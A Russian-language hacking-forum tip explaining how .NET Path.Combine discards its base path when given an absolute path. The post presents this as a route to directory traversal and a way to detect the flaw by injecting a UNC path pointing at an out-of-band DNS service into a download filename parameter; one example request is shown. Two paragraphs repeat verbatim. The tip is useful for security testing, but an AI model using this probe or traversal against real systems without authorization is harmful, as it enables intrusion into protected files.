Father
Professional
- Messages
- 2,602
- Reaction score
- 776
- Points
- 113
Нашли параметр, содержащий путь или имя файла? Разработчики иногда используют "Path.Combine(path_1,path_2)" для указания полного пути. Этот метод предназначен для объединения отдельных строк в одну строку, представляющую путь к файлу.
Path.Combine имеет странное поведение: если параметр №2 является абсолютным путем, то параметр №1 игнорируется.
Это можно использовать для обхода директорий и получения доступа к закрытым ресурсам.
Самый простой способ проверить это - посмотреть DNS SSRF. Путь к файлу, начинающийся с «\\», инициирует DNS-поиск предполагаемого общего файлового ресурса. Если это сработает, вы знаете, что проблема существует. Получаем ссылку на pingb.in или используем Burp Collaborator и подставляем в тестируемый параметр:
Path.Combine имеет странное поведение: если параметр №2 является абсолютным путем, то параметр №1 игнорируется.
Это можно использовать для обхода директорий и получения доступа к закрытым ресурсам.
Самый простой способ проверить это - посмотреть DNS SSRF. Путь к файлу, начинающийся с «\\», инициирует DNS-поиск предполагаемого общего файлового ресурса. Если это сработает, вы знаете, что проблема существует. Получаем ссылку на pingb.in или используем Burp Collaborator и подставляем в тестируемый параметр:
Code:
https://example.org/download?filename=\\3ce0f3fcba9527b7dfa2785f14df.ns.pingb.in\a